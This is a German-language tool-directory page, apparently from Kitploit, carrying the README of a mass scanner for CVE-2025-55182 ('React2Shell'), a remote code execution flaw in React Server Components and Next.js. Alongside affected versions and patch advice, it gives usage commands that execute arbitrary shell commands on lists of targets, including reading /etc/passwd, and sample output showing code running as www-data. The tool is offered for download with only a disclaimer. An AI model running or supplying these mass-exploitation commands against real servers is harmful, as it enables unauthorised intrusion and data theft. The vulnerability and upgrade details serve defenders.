Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182-Scanner — Automatisierter Scanner für CVE-2025-55182: eine kritische RCE-Sicherheitslücke in React Server Components und Next.js. | Kitploit
Tools/GitHubGitHub/qixinlee/cve-2025-55182-scanner
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubqixinlee/cve-2025-55182-scanner

CVE-2025-55182-Scanner

Automatisierter Scanner für CVE-2025-55182: eine kritische RCE-Sicherheitslücke in React Server Components und Next.js.

Repository anzeigen
129vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 RCE Scanner

Ein Tool zur Massenüberprüfung und -verifikation der Remote-Code-Ausführungsschwachstelle CVE-2025-55182 (React2Shell).

⚠️ CVSS 10.0 Kritische Schwachstelle | Betrifft React Server Components und Next.js Versionen 15.x/16.x | Nur für autorisierte Sicherheitstests

Schwachstellenbeschreibung

CVE-2025-55182 (auch bekannt als „React2Shell") ist eine CVSS 10.0 – höchste Kritikalität aufweisende, nicht authentifizierte Remote-Code-Ausführungsschwachstelle (RCE).

Diese Schwachstelle resultiert aus einer unsicheren Deserialisierung im react-server-Paket von React Server Components (RSC) bei der Verarbeitung des RSC-„Flight"-Protokolls. Angreifer können durch das Senden speziell gestalteter HTTP-Anfragen beliebigen Code auf dem verwundbaren Server ausführen.

Da Next.js das RSC-„Flight"-Protokoll verwendet, können selbst standardmäßig konfigurierte Anwendungen, die mit create-next-app erstellt wurden, ausgenutzt werden, ohne dass Entwickler zusätzlichen Code schreiben müssen. Seit dem 5. Dezember 2025 wurde aktive Ausnutzung dieser Schwachstelle beobachtet

Betroffene Versionen

React Server Components - betroffene Versionen:

PaketnameBetroffene Versionen
react-server-dom-webpack19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js - betroffene Versionen (mit App Router):

HauptversionBetroffener VersionsbereichKorrekturversion
16.0.x≤ 16.0.616.0.7
15.5.x≤ 15.5.615.5.7
15.4.x≤ 15.4.715.4.8
15.3.x≤ 15.3.515.3.6
15.2.x≤ 15.2.5-
15.1.x≤ 15.1.8-
15.0.x≤ 15.0.4-
14.x Canary≥ 14.3.0-canary.77-

Möglicherweise betroffene andere RSC-Frameworks/Werkzeuge:

  • react-router
  • waku
  • @parcel/rsc
  • @vitejs/plugin-rsc
  • rwsdk
  • RedwoodJS (RSC-Modus)

Temporäre Abhilfemaßnahmen

⚠️ Wichtiger Hinweis: Für diese Schwachstelle gibt es keine bekannten temporären Abhilfemaßnahmen; das Upgrade auf eine sichere Version ist die einzige Lösung.

Empfohlene Upgrade-Versionen:

  • React: Upgrade auf 19.0.1, 19.1.2 oder 19.2.1
  • Next.js: Upgrade auf 16.0.7, 15.5.7, 15.4.8 oder 15.3.6

Das offiziell bereitgestellte npm-Paket fix-react2shell-next kann bei der Aktualisierung betroffener Next.js-Anwendungen helfen.

Abhängigkeiten installieren

pip install requests

Verwendung

Grundlegende Verwendung

# Massenscan (Ziele aus urls.txt lesen)
python CVE-2025-55182.py -f urls.txt

# Einzelzieltest
python CVE-2025-55182.py -u http://192.168.1.100:3000

Benutzerdefinierte Befehle

# whoami-Befehl ausführen
python CVE-2025-55182.py -f urls.txt -c "whoami"

# hostname-Befehl ausführen
python CVE-2025-55182.py -u http://target.com -c "hostname"

# Datei lesen
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"

Erweiterte Optionen

# Threads und Timeout festlegen
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15

# Benutzerdefinierte Ausgabedatei
python CVE-2025-55182.py -f urls.txt -o scan_results.csv

# Stiller Modus (nur anfällige URLs ausgeben)
python CVE-2025-55182.py -f urls.txt -q

Parametererklärung

ParameterBeschreibungStandardwert
-f, --fileURL-Listendateiurls.txt
-u, --urlEinzelne Ziel-URL-
-t, --threadsAnzahl gleichzeitiger Threads20
--timeoutAnfrage-Timeout (Sekunden)10
-o, --outputAusgabe-CSV-Dateiresults.csv
-c, --commandAusgeführter Befehlid
-q, --quietStiller Modusfalse

URL-Dateiformat

Eine URL pro Zeile, z.B.:

http://192.168.1.10:3000
http://192.168.1.11:3000

Beispielausgabe

    +---------------------------------------------------------------+
    |   ###   ## #######  ##  ## ########       ## #######          |
    |   ####  ## ##       ## ##     ##          ## ##               |
    |   ## ## ## #####     ###      ##          ## #######          |
    |   ##  #### ##       ## ##     ##      ##  ##       ##         |
    |   ##   ### ####### ##   ##    ##       ####  #######          |
    |                                                               |
    |   CVE-2025-55182 RCE Scanner                                  |
    +---------------------------------------------------------------+

============================================================
  [ CONFIGURATION ]
============================================================
  > Targets: 10
  > Threads: 20
  > Command: id

============================================================
  [ SCANNING ]
============================================================
  [14:30:25] [VULN] http://192.168.1.10:3000
             '--> uid=1000(www-data)
  [14:30:26] [SAFE] http://192.168.1.11:3000

+==========================================================+
|                     SCAN COMPLETE                        |
+==========================================================+
|  Total Targets :    10                                   |
|  Vulnerable    :     1                                   |
|  Safe          :     9                                   |
|  Errors        :     0                                   |
+==========================================================+

Ausgabedatei

Die Scanergebnisse werden im CSV-Format gespeichert und enthalten die folgenden Felder:

  • url - Ziel-URL
  • status - HTTP-Statuscode
  • vulnerable - Ob anfällig
  • output - Ausgabe der Befehlsausführung
  • error - Fehlermeldung

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests bestimmt. Verwenden Sie es nicht für illegale Zwecke. Der Benutzer übernimmt die alleinige Verantwortung.

Tool herunterladen